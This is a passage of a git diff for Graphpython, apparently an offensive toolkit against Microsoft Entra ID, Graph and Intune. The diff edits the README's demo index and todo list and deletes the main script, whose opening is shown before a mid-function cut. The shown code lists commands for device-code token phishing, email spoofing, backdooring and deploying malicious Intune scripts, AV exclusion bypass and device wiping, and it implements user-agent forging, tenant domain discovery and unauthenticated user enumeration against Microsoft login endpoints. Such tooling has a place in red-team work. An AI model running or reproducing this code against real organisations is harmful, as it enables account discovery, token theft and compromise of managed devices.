[Invoke-CertToAccessToken](https://github.com/mlcsec/Graphpython/wiki/Demos#invoke-certtoaccesstoken) + - [Invoke-ESTSCookieToAccessToken](https://github.com/mlcsec/Graphpython/wiki/Demos#invoke-estscookietoaccesstoken) +- [Post-Auth Enumeration](https://github.com/mlcsec/Graphpython/wiki/Demos#post-auth-enumeration) + - [Get-CurrentUser](https://github.com/mlcsec/Graphpython/wiki/Demos#get-currentuser) + - [Get-User](https://github.com/mlcsec/Graphpython/wiki/Demos#get-user) + - [Get-Group](https://github.com/mlcsec/Graphpython/wiki/Demos#get-group) + - [Get-UserPrivileges](https://github.com/mlcsec/Graphpython/wiki/Demos#get-userprivileges) + - [Get-Domains](https://github.com/mlcsec/Graphpython/wiki/Demos#get-domains) + - [Get-Application](https://github.com/mlcsec/Graphpython/wiki/Demos#get-application) + - [List-RecentOneDriveFiles](https://github.com/mlcsec/Graphpython/wiki/Demos#list-recentonedrivefiles) +- [Post-Auth Exploitation](https://github.com/mlcsec/Graphpython/wiki/Demos#post-auth-exploitation) + - [Invite-GuestUser](https://github.com/mlcsec/Graphpython/wiki/Demos#invite-guestuser) + - [Find-PrivilegedRoleUsers](https://github.com/mlcsec/Graphpython/wiki/Demos#find-privilegedroleusers) + - [Assign-PrivilegedRole](https://github.com/mlcsec/Graphpython/wiki/Demos#assign-privilegedrole) + - [Find-PrivilegedApplications](https://github.com/mlcsec/Graphpython/wiki/Demos#find-privilegedapplications) + - [Add-ApplicationCertificate](https://github.com/mlcsec/Graphpython/wiki/Demos#add-applicationcertificate) + - [Add-ApplicationPermission](https://github.com/mlcsec/Graphpython/wiki/Demos#add-applicationpermission) + - [Spoof-OWAEmailMessage](https://github.com/mlcsec/Graphpython/wiki/Demos#spoof-owaemailmessage) + - [Find-DynamicGroups](https://github.com/mlcsec/Graphpython/wiki/Demos#find-dynamicgroups) + - [Find-UpdatableGroups](https://github.com/mlcsec/Graphpython/wiki/Demos#find-updatablegroups) + - [Invoke-Search](https://github.com/mlcsec/Graphpython/wiki/Demos#invoke-search) +- [Post-Auth Intune Enumeration](https://github.com/mlcsec/Graphpython/wiki/Demos#post-auth-intune-enumeration) + - [Get-ManagedDevices](https://github.com/mlcsec/Graphpython/wiki/Demos#get-manageddevices) + - [Get-UserDevices](https://github.com/mlcsec/Graphpython/wiki/Demos#get-userdevices) + - [Get-DeviceCompliancePolicies](https://github.com/mlcsec/Graphpython/wiki/Demos#get-devicecompliancepolicies) + - [Get-DeviceConfigurationPolicies](https://github.com/mlcsec/Graphpython/wiki/Demos#get-deviceconfigurationpolicies) +- [Post-Auth Intune Exploitation](https://github.com/mlcsec/Graphpython/wiki/Demos#post-auth-intune-exploitation) + - [Display-AVPolicyRules](https://github.com/mlcsec/Graphpython/wiki/Demos#display-avpolicyrules) + - [Get-ScriptContent](https://github.com/mlcsec/Graphpython/wiki/Demos#get-scriptcontent) + - [Backdoor-Script](https://github.com/mlcsec/Graphpython/wiki/Demos#backdoor-script) + - [Deploy-MaliciousScript](https://github.com/mlcsec/Graphpython/wiki/Demos#deploy-maliciousscript) + - [Deploy-MaliciousWebLink](https://github.com/mlcsec/Graphpython/wiki/Demos#deploy-maliciousweblink) + - [Add-ExclusionGroupToPolicy](https://github.com/mlcsec/Graphpython/wiki/Demos#add-exclusiongrouptopolicy) +- [Cleanup](https://github.com/mlcsec/Graphpython/wiki/Demos#cleanup) + - [Remove-GroupMember](https://github.com/mlcsec/Graphpython/wiki/Demos#remove-groupmember) +- [Locators](https://github.com/mlcsec/Graphpython/wiki/Demos#locators) + - [Locate-ObjectID](https://github.com/mlcsec/Graphpython/wiki/Demos#locate-objectid) + - [Locate-PermissionID](https://github.com/mlcsec/Graphpython/wiki/Demos#locate-permissionid) + - [Locate-DirectoryRole](https://github.com/mlcsec/Graphpython/wiki/Demos#locate-directoryrole) +
## Acknowledgements and References - [AADInternals](https://github.com/Gerenios/AADInternals) - [GraphRunner](https://github.com/dafthack/GraphRunner) -- [TokenTactics](https://github.com/rvrsh3ll/TokenTactics) -- [TokenTacticsV2](https://github.com/f-bader/TokenTacticsV2) +- [TokenTactics](https://github.com/rvrsh3ll/TokenTactics) and [TokenTacticsV2](https://github.com/f-bader/TokenTacticsV2) - [https://learn.microsoft.com/en-us/graph/permissions-reference](https://learn.microsoft.com/en-us/graph/permissions-reference) - [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference) - [https://graphpermissions.merill.net/](https://graphpermissions.merill.net/) @@ -605,22 +275,15 @@ Graph permission IDs applied to objects can be easily located with detailed expl ## Todo - Update: - - [x] `Spoof-OWAEmailMessage` - add --email option containing formatted message as only accepts one line at the mo... - - [x] `Deploy-MaliciousScript` - add input options to choose runAsAccount, enforceSignatureCheck, etc. and more assignment options - - [x] `Get-DeviceConfigurationPolicies` - tidy up the templateReference and assignmentTarget output - - [x] `Add-ApplicationPermission` - updated logic and added ability to grant admin consent for admin permissions assigned from the same command - update `Grant-AppAdminConsent` to handle any failures so users don't have to repeat this whole command again - - [X] `Get-Application` - process the `requiredResourceAccess` attribute and resolved any Graph API app role IDs to their role name/description - `List-Applications` updated with this as well + - [ ] Add nextlink for `get-user` and `get-group` + - [ ] `Get-UserPrivileges` - update to flag any privileged directory role app ids green + - [x] `Locate-DirectoryRoleID` - similar to other locator functions but for resolving directory role ids + - [ ] `Deploy-MaliciousWebLink` - add option to deploy script which copies new windows web app link to all user desktops - New: - - [x] `Find-PrivilegedApplications` - identify enterprise applications which have privileged graph api permissions granted - - [x] `Grant-AppAdminConsent` - grant admin consent for requested/applied admin app permissions (if `Add-ApplicationPermission` fails) - - [x] `Backdoor-Script` - first user downloads target script content then adds their malicious code, supply updated script as args, encodes then [patch](https://learn.microsoft.com/en-us/graph/api/intune-shared-devicemanagementscript-update?view=graph-rest-beta) - - [x] `Dump-XApps` - dump-windowsapps, dump-iosapps, dump-macosapps, and dump-android apps managed via Intune to enrolled users/groups/devices - - [ ] `Deploy-MaliciousWin32App` - use IntuneWinAppUtil.exe to package the EXE/MSI and deploy to devices + - [ ] `Deploy-MaliciousWin32Exe/MSI` - use IntuneWinAppUtil.exe to package the EXE/MSI and deploy to devices - check also [here](https://learn.microsoft.com/en-us/graph/api/resources/intune-app-conceptual?view=graph-rest-1.0) for managing iOS, Android, LOB apps etc. via graph - - [x] `Add-ApplicationCertificate` - similar to add-applicationpassword but gen and assign openssl cert to ent app - - [x] `Display-FirewallConfigPolicyRules` - get Intune firewall configuration policy rules (actually firewall rules already implemented in `Display-FirewallRulePolicyRules`) - [ ] `Update/Deploy-Policy` - update existing rules for av, asr, etc. policy or deploy a new one with specific groups/devices - - [x] `Update-DeviceConfig` - patch settings that aren't read only from existing managed device config, more info [here](https://learn.microsoft.com/en-us/graph/api/intune-devices-manageddevice-update?view=graph-rest-beta) - - [x] `New-SignedJWT` - need to test this from sharpgraphview + - [ ] `Invoke-MFASweep` - port mfa sweep and add to outsider commands + - [ ] `Invoke-AADIntReconAsGuest` and `Invoke-AADIntUserEnumerationAsGuest` - port from AADInternals - Options: - [ ] --proxy option diff --git a/graphpython.py b/graphpython.py deleted file mode 100644 index f179564..0000000 --- a/graphpython.py +++ /dev/null @@ -1,7256 +0,0 @@ -#!/usr/bin/env python3 - -import sys -import requests -import json -import jwt -import time -import argparse -import textwrap -import os -import re -import dns.resolver -import base64 -from tqdm import tqdm -from tabulate import tabulate -from datetime import datetime, timedelta, timezone -import hashlib -from cryptography import x509 -from cryptography.hazmat.primitives import hashes, serialization -from cryptography.hazmat.primitives.serialization import pkcs12 -from cryptography.hazmat.backends import default_backend -from urllib.parse import urlencode, urlparse, parse_qs -import uuid -import xml.etree.ElementTree as ET -from bs4 import BeautifulSoup - -def print_yellow(message): - print(f"\033[93m{message}\033[0m") - -def print_green(message): - print(f"\033[92m{message}\033[0m") - -def print_red(message): - print(f"\033[91m{message}\033[0m") - -def list_commands(): - - outsider_commands = [ - ["Invoke-ReconAsOutsider", "Perform outsider recon of the target domain"], - ["Invoke-UserEnumerationAsOutsider", "Checks whether the uer exists within Azure AD"] - ] - - auth_commands = [ - ["Get-GraphTokens", "Obtain graph token via device code phish (saved to graph_tokens.txt)"], - ["Get-TenantID", "Get tenant ID for target domain"], - ["Get-TokenScope", "Get scope of supplied token"], - ["Decode-AccessToken", "Get all token payload attributes"], - ["Invoke-RefreshToMSGraphToken", "Convert refresh token to Microsoft Graph token (saved to new_graph_tokens.txt)"], - ["Invoke-RefreshToAzureManagementToken", "Convert refresh token to Azure Management token (saved to az_tokens.txt)"], - ["Invoke-RefreshToVaultToken", "Convert refresh token to Azure Vault token (saved to vault_tokens.txt)"], - ["Invoke-RefreshToMSTeamsToken", "Convert refresh token to MS Teams token (saved to teams_tokens.txt)"], - ["Invoke-RefreshToOfficeAppsToken", "Convert refresh token to Office Apps token (saved to officeapps_tokens.txt)"], - ["Invoke-RefreshToOfficeManagementToken", "Convert refresh token to Office Management token (saved to officemanagement_tokens.txt)"], - ["Invoke-RefreshToOutlookToken", "Convert refresh token to Outlook token (saved to outlook_tokens.txt)"], - ["Invoke-RefreshToSubstrateToken", "Convert refresh token to Substrate token (saved to substrate_tokens.txt)"], - ["Invoke-RefreshToYammerToken", "Convert refresh token to Yammer token (saved to yammer_tokens.txt)"], - ["Invoke-RefreshToIntuneEnrollmentToken", "Convert refresh token to Intune Enrollment token (saved to intune_tokens.txt)"], - ["Invoke-RefreshToOneDriveToken", "Convert refresh token to OneDrive token (saved to onedrive_tokens.txt)"], - ["Invoke-RefreshToSharePointToken", "Convert refresh token to SharePoint token (saved to sharepoint_tokens.txt)"], - ["Invoke-CertToAccessToken", "Convert Azure Application certificate to JWT access token (saved to cert_tokens.txt)"], - ["Invoke-ESTSCookieToAccessToken", "Convert ESTS cookie to MS Graph access token (saved to estscookie_tokens.txt)"], - ["Invoke-AppSecretToAccessToken", "Convert Azure Application secretText credentials to access token (saved to appsecret_tokens.txt)"], - ["New-SignedJWT", "Construct JWT and sign using Key Vault PEM certificate (Azure Key Vault access token required) then generate Azure Management token"] - ] - - post_authenum_commands = [ - ["Get-CurrentUser", "Get current user profile"], - ["Get-CurrentUserActivity", "Get recent activity and actions of current user"], - ["Get-OrgInfo", "Get information relating to the target organisation"], - ["Get-Domains", "Get domain objects"], - ["Get-User", "Get all users (default) or target user (--id)"], - ["Get-UserProperties", "Get current user properties (default) or target user (--id)"], - ["Get-UserPrivileges", "Get group/AU memberships and directory roles assgined for current user (default) or target user (--id)"], - ["Get-UserTransitiveGroupMembership", "Get transitive group memberships for current user (default) or target user (--id)"], - ["Get-Group", "Get all groups (default) or target group (-id)"], - ["Get-GroupMember", "Get all members of target group"], - ["Get-UserAppRoleAssignments", "Get user app role assignments for current user (default) or target user (--id)"], - ["Get-ConditionalAccessPolicy", "Get conditional access policy properties"], - ["Get-Application", "Get Enterprise Application details for app (NOT object) ID (--id)"], - ["Get-AppServicePrincipal", "Get details of the application's service principal from the app ID (--id)"], - ["Get-ServicePrincipal", "Get all or specific Service Principal details (--id)"], - ["Get-ServicePrincipalAppRoleAssignments", "Get Service Principal app role assignments (shows available admin consent permissions that are already granted)"], - ["Get-PersonalContacts", "Get contacts of the current user"], - ["Get-CrossTenantAccessPolicy", "Get cross tenant access policy properties"], - ["Get-PartnerCrossTenantAccessPolicy", "Get partner cross tenant access policy"], - ["Get-UserChatMessages", "Get ALL messages from all chats for target user (Chat.Read.All)"], - ["Get-AdministrativeUnitMember", "Get members of administrative unit"], - ["Get-OneDriveFiles", "Get all accessible OneDrive files for current user (default) or target user (--id)"], - ["Get-UserPermissionGrants", "Get permission grants of current user (default) or target user (--id)"], - ["Get-oauth2PermissionGrants", "Get oauth2 permission grants for current user (default) or target user (--id)"], - ["Get-Messages", "Get all messages in signed-in user's mailbox (default) or target user (--id)"], - ["Get-TemporaryAccessPassword", "Get TAP details for current user (default) or target user (--id)"], - ["Get-Password", "Get passwords registered to current user (default) or target user (--id)"], - ["List-AuthMethods", "List authentication methods for current user (default) or target user (--id)"], - ["List-DirectoryRoles", "List all directory roles activated in the tenant"], - ["List-Notebooks", "List current user notebooks (default) or target user (--id)"], - ["List-ConditionalAccessPolicies", "List conditional access policy objects"], - ["List-ConditionalAuthenticationContexts", "List conditional access authentication context"], - ["List-ConditionalNamedLocations", "List conditional access named locations"], - ["List-SharePointRoot", "List root SharePoint site properties"], - ["List-SharePointSites", "List any available SharePoint sites"], - ["List-SharePointURLs", "List SharePoint site web URLs visible to current user"], - ["List-ExternalConnections", "List external connections"], - ["List-Applications", "List all Azure Applications"], - ["List-ServicePrincipals", "List all service principals"], - ["List-Tenants", "List tenants"], - ["List-JoinedTeams", "List joined teams for current user (default) or target user (--id)"], - ["List-Chats", "List chats for current user (default) or target user (--id)"], - ["List-ChatMessages", "List messages in target chat (--id)"], - ["List-Devices", "List devices"], - ["List-AdministrativeUnits", "List administrative units"], - ["List-OneDrives", "List current user OneDrive (default) or target user (--id)"], - ["List-RecentOneDriveFiles", "List current user recent OneDrive files"], - ["List-SharedOneDriveFiles", "List OneDrive files shared with the current user"], - ["List-OneDriveURLs", "List OneDrive web URLs visible to current user"] - ] - - post_authexploit_commands = [ - ["Invoke-CustomQuery", "Custom GET query to target Graph API endpoint"], - ["Invoke-Search", "Search for string within entity type (driveItem, message, chatMessage, site, event)"], - ["Find-PrivilegedRoleUsers", "Find users with privileged roles assigned"], - ["Find-PrivilegedApplications", "Find privileged apps (via their service principal) with granted admin consent API permissions"], - ["Find-UpdatableGroups", "Find groups which can be updated by the current user"], - ["Find-SecurityGroups", "Find security groups and group members"], - ["Find-DynamicGroups", "Find groups with dynamic membership rules"], - ["Update-UserPassword", "Update the passwordProfile of the target user (NewUserS3cret@Pass!)"], - ["Update-UserProperties", "Update the user properties of the target user"], - ["Add-UserTAP", "Add new Temporary Access Password (TAP) to target user"], - ["Add-GroupMember", "Add member to target group"], - ["Add-ApplicationPassword", "Add client secret to target application"], - ["Add-ApplicationCertificate", "Add client certificate to target application"], - ["Add-ApplicationPermission", "Add permission to target application e.g. Mail.Send and attempt to grant admin consent"], - ["Grant-AppAdminConsent", "Grant admin consent for Graph API permission already assigned to enterprise application"], - ["Create-Application", "Create new enterprise application with default settings"], - ["Create-NewUser", "Create new Entra ID user"], - ["Invite-GuestUser", "Invite guest user to Entra ID"], - ["Assign-PrivilegedRole", "Assign chosen privileged role to user/group/object"], - ["Open-OWAMailboxInBrowser", "Open an OWA Office 365 mailbox in BurpSuite's embedded Chromium browser using either a Substrate.Office.com or Outlook.Office.com access token"], - ["Dump-OWAMailbox", "Dump OWA Office 365 mailbox"], - ["Spoof-OWAEmailMessage", "Send email from current user's Outlook mailbox or spoof another user (--id) (Mail.Send)"] - ] - - intune_enum = [ - ["Get-ManagedDevices", "Get managed devices"], - ["Get-UserDevices", "Get user devices"], - ["Get-CAPs", "Get conditional access policies"], - ["Get-DeviceCategories", "Get device categories"], - ["Get-DeviceComplianceSummary", "Get device compliance summary"], - ["Get-DeviceConfigurations", "Get device configurations"], - ["Get-DeviceConfigurationPolicies", "Get device configuration policies and assignment details (av, asr, diskenc, etc.)"], - ["Get-DeviceConfigurationPolicySettings", "Get device configuration policy settings"], - ["Get-DeviceEnrollmentConfigurations", "Get device enrollment configurations"], - ["Get-DeviceGroupPolicyConfigurations", "Get device group policy configurations and assignment details"], - ["Get-DeviceGroupPolicyDefinition", "Get device group policy definition"], - ["Get-RoleDefinitions", "Get role definitions"], - ["Get-RoleAssignments", "Get role assignments"], - ["Get-DeviceCompliancePolicies", "Get all device compliance policies (AV, ASR, Bitlocker, Firewall, EDR, LAPS) and assignments"] - ] - - intune_exploit = [ - ["Dump-DeviceManagementScripts", "Dump device management PowerShell scripts"], - ["Dump-WindowsApps", "Dump managed Windows OS applications (exe, msi, appx, msix, etc.)"], - ["Dump-iOSApps", "Dump managed iOS/iPadOS mobile applications"], - ["Dump-macOSApps", "Dump managed macOS applications"], - ["Dump-AndroidApps", "Dump managed Android mobile applications"], - ["Get-ScriptContent", "Get device management script content"], - ["Backdoor-Script", "Add malicious code to pre-existing device management script"], - ["Deploy-MaliciousScript", "Deploy new malicious device management PowerShell script"], - ["Deploy-MaliciousWebLink", "Deploy malicious Windows web link application"], - # Deploy-MaliciousWin32Exe - Deploy malicious exe to managed devices - # Deploy-MaliciousWin32MSI - Deploy malicious MSI to managed devices - ["Display-AVPolicyRules", "Display antivirus policy rules"], - ["Display-ASRPolicyRules", "Display Attack Surface Reduction (ASR) policy rules"], - ["Display-DiskEncryptionPolicyRules", "Display disk encryption policy rules"], - ["Display-FirewallConfigPolicyRules", "Display firewall configuration policy rules"], - ["Display-FirewallRulePolicyRules", "Display firewall RULE policy rules"], - ["Display-EDRPolicyRules", "Display EDR policy rules"], - ["Display-LAPSAccountProtectionPolicyRules", "Display LAPS account protection policy rules"], - ["Display-UserGroupAccountProtectionPolicyRules", "Display user group account protection policy rules"], - ["Add-ExclusionGroupToPolicy", "Bypass av, asr, etc. rules by adding an exclusion group containing compromised user or device"], - ["Reboot-Device", "Reboot managed device"], - ["Retire-Device", "Retire managed device"], - ["Lock-Device", "Lock managed device"], - ["Shutdown-Device", "Shutdown managed device"], - ["Update-DeviceConfig", "Update properties of the managed device configuration"] - ] - - cleanup_commands = [ - ["Delete-User", "Delete a user"], - ["Delete-Group", "Delete a group"], - ["Remove-GroupMember", "Remove user from a group"], - ["Delete-Application", "Delete an application"], - ["Delete-Device", "Delete managed device"], - ["Wipe-Device", "Wipe managed device"], - ] - - locator_commands = [ - ["Locate-ObjectID", "Locate object ID and display object properties"], - ["Locate-PermissionID", "Locate Graph permission details (application/delegated, description, admin consent required, ...) for ID"] - ] - - print("\nOutsider") - print("=" * 80) - print(tabulate(outsider_commands, tablefmt="plain")) - - print("\nAuthentication") - print("=" * 80) - print(tabulate(auth_commands, tablefmt="plain")) - - print("\nPost-Auth Enumeration") - print("=" * 80) - print(tabulate(post_authenum_commands, tablefmt="plain")) - - print("\nPost-Auth Exploitation") - print("=" * 80) - print(tabulate(post_authexploit_commands, tablefmt="plain")) - - print("\nPost-Auth Intune Enumeration") - print("=" * 80) - print(tabulate(intune_enum, tablefmt="plain")) - - print("\nPost-Auth Intune Exploitation") - print("=" * 80) - print(tabulate(intune_exploit, tablefmt="plain")) - - print("\nCleanup") - print("=" * 80) - print(tabulate(cleanup_commands, tablefmt="plain")) - - print("\nLocators") - print("=" * 80) - print(tabulate(locator_commands, tablefmt="plain")) - print("\n") - -def forge_user_agent(device=None, browser=None): - - user_agent = '' - - if device == 'Mac': - if browser == 'Chrome': - user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' - elif browser == 'Firefox': - user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:70.0) Gecko/20100101 Firefox/70.0' - elif browser == 'Edge': - user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/604.1 Edg/91.0.100.0' - elif browser == 'Safari': - user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15' - else: - user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15' - - elif device == 'Windows': - if browser == 'IE': - user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko' - elif browser == 'Chrome': - user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' - elif browser == 'Firefox': - user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:70.0) Gecko/20100101 Firefox/70.0' - elif browser == 'Edge': - user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042' - else: - user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042' - - elif device == 'AndroidMobile': - if browser == 'Android': - user_agent = 'Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30' - elif browser == 'Chrome': - user_agent = 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Mobile Safari/537.36' - elif browser == 'Firefox': - user_agent = 'Mozilla/5.0 (Android 4.4; Mobile; rv:70.0) Gecko/70.0 Firefox/70.0' - elif browser == 'Edge': - user_agent = 'Mozilla/5.0 (Linux; Android 8.1.0; Pixel Build/OPM4.171019.021.D1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.109 Mobile Safari/537.36 EdgA/42.0.0.2057' - else: - user_agent = 'Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30' - - elif device == 'iPhone': - if browser == 'Chrome': - user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/91.0.4472.114 Mobile/15E148 Safari/604.1' - elif browser == 'Firefox': - user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) FxiOS/1.0 Mobile/12F69 Safari/600.1.4' - elif browser == 'Edge': - user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 EdgiOS/44.5.0.10 Mobile/15E148 Safari/604.1' - elif browser == 'Safari': - user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1' - else: - user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1' - - else: - if browser == 'Android': - user_agent = 'Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30' - elif browser == 'IE': - user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko' - elif browser == 'Chrome': - user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' - elif browser == 'Firefox': - user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:70.0) Gecko/20100101 Firefox/70.0' - elif browser == 'Safari': - user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15' - else: - user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042' - - return user_agent - -def get_user_agent(args): - if args.device: - if args.browser: - return forge_user_agent(device=args.device, browser=args.browser) - else: - return forge_user_agent(device=args.device) - else: - if args.browser: - return forge_user_agent(browser=args.browser) - else: - return forge_user_agent() - -def get_access_token(token_input): - if os.path.isfile(token_input): - encodings = ['utf-8', 'utf-16', 'ascii', 'iso-8859-1'] - for encoding in encodings: - try: - with open(token_input, 'r', encoding=encoding) as file: - access_token = file.read().strip() - return access_token - except UnicodeDecodeError: - continue - - raise ValueError(f"Unable to decode the file {token_input} with any of the tried encodings.") - else: - access_token = token_input - return access_token - -def read_file_content(file_path): - try: - with open(file_path, 'r', encoding='utf-8') as file: - return file.read() - except UnicodeDecodeError: - with open(file_path, 'r', encoding='utf-16') as file: - return file.read() - -def format_list_style(data): - if not data.get('value'): - print_red("[-] No data found") - return - - for d in data.get('value', []): - for key, value in d.items(): - print(f"{key} : {value}") - print("\n") - -def graph_api_get(access_token, url, args): - try: - output_returned = False - while url: - - user_agent = get_user_agent(args) - headers = { - "Authorization": f"Bearer {access_token}", - "User-Agent": user_agent - } - response = requests.get(url, headers=headers) - response.raise_for_status() - response_body = response.json() - filtered_data = {key: value for key, value in response_body.items() if not key.startswith("@odata")} - - if filtered_data: - format_list_style(filtered_data) - output_returned = True - - url = response_body.get("@odata.nextLink") - - if not output_returned: - print_red("[-] No data found") - - except requests.exceptions.RequestException as ex: - print_red(f"[-] HTTP Error: {ex}") - - -def get_tenant_domains(domain): - - domains = [domain] - try: - openid_config_url = f"https://login.microsoftonline.com/{domain}/.well-known/openid-configuration" - response = requests.get(openid_config_url) - response.raise_for_status() - openid_config = response.json() - tenant_region_sub_scope = openid_config.get("tenant_region_sub_scope", "") - - if tenant_region_sub_scope == "DOD": - autodiscover_url = "https://autodiscover-s-dod.office365.us/autodiscover/autodiscover.svc" - elif tenant_region_sub_scope == "DODCON": - autodiscover_url = "https://autodiscover-s.office365.us/autodiscover/autodiscover.svc" - else: - autodiscover_url = "https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc" - - autodiscover_body = f""" - - - - http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetFederationInformation - {autodiscover_url} - - http://www.w3.org/2005/08/addressing/anonymous - - - - - - {domain} - - - - - """.strip() - - headers = { - "Content-Type": "text/xml; charset=utf-8", - "SOAPAction": '"http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetFederationInformation"', - "User-Agent": "AutodiscoverClient" - } - - autodiscover_response = requests.post(autodiscover_url, data=autodiscover_body, headers=headers) - autodiscover_response.raise_for_status() - autodiscover_xml = autodiscover_response.content - tree = ET.ElementTree(ET.fromstring(autodiscover_xml)) - namespaces = { - 's': 'http://schemas.xmlsoap.org/soap/envelope/', - 'a': 'http://www.w3.org/2005/08/addressing', - 'm': 'http://schemas.microsoft.com/exchange/services/2006/messages', - 't': 'http://schemas.microsoft.com/exchange/services/2006/types', - 'ns2': 'http://schemas.microsoft.com/exchange/2010/Autodiscover' - } - - found_domains = [elem.text for elem in tree.findall('.//ns2:Domain', namespaces)] - - if domain not in found_domains: - found_domains.append(domain) - - domains = sorted(found_domains) - - except Exception as e: - print(f"An unexpected error occurred: {e}") - - return domains - -def get_credential_type(username, flow_token=None, original_request=None): - body = { - "username": username, - "isOtherIdpSupported": True, - "checkPhones": True, - "isRemoteNGCSupported": False, - "isCookieBannerShown": False, - "isFidoSupported": False, - "originalRequest": original_request, - "flowToken": flow_token - } - - if original_request: - body["isAccessPassSupported"] = True - - try: - response = requests.post("https://login.microsoftonline.com/common/GetCredentialType", - json=body, - headers={"Content-Type": "application/json; charset=UTF-8"}) - response.raise_for_status() - return response.json() - except requests.exceptions.RequestException as e: - print(f"Error in Get-CredentialType: {e}") - return None - -def get_rst_token(url, endpoint_address, username, password="none"): - request_id = str(uuid.uuid4()) - now = datetime.utcnow() - created = now.isoformat() + "Z" - expires = (now + timedelta(minutes=10)).isoformat() + "Z" - - body = f""" - - - - http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue - {url} - urn:uuid:{str(uuid.uuid4())} - - - {created} - {expires} - - - {username} - {password} - - - - - - http://schemas.xmlsoap.org/ws/2005/02/trust/Issue - - - {endpoint_address} - - http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey - - - - """ - - try: - response = requests.post(url, - data=body, - headers={"Content-Type": "application/soap+xml; charset=UTF-8"}, - timeout=10) - response.raise_for_status() - response_xml = response.content - - # parse the response XML (might need to check this) - if "urn:oasis:names:tc:SAML:1.0:assertion" in response_xml.decode(): - return True - return False - except requests.exceptions.RequestException as e: - print(f"Error in Get-RSTToken: {e}") - return None - -def does_user_exist(user, method="Normal"): - exists = False - error_details = "" - - if method == "Normal": - cred_type = get_credential_type(user) - if cred_type: - if cred_type.get('ThrottleStatus') == 1: - print("Requests throttled!") - return None - exists = cred_type.get('IfExistsResult') in [0, 6] - else: - if method == "Login": - random_guid = str(uuid.uuid4()) - body = { - "resource": random_guid, - "client_id": random_guid, - "grant_type": "password", - "username": user, - "password": "none", - "scope": "openid" - } - try: - response = requests.post("https://login.microsoftonline.com/common/oauth2/token", - data=body, - headers={"Content-Type": "application/x-www-form-urlencoded"}) - response.raise_for_status() - exists = True - except requests.exceptions.RequestException as e: - error_details = e.response.json().get("error_description", "") - - elif method in ["Autologon", "RST2"]: - request_id = str(uuid.uuid4()) - domain = user.split("@")[1] - password = "none" - now = datetime.utcnow() - created = now.isoformat() + "Z" - expires = (now + timedelta(minutes=10)).isoformat() + "Z" - - if method == "RST2": - url = "https://login.microsoftonline.com/RST2.srf" - end_point = "sharepoint.com" - else: - url = f"https://autologon.microsoftazuread-sso.com/{domain}/winauth/trust/2005/usernamemixed?client-request-id={request_id}" - end_point = "urn:federation:MicrosoftOnline" - - try: - response = get_rst_token(url, end_point, user, password) - exists = response is not None - except Exception as e: - error_details = str(e) - - if not exists and error_details: - if error_details.startswith("AADSTS50053"): - exists = True - elif 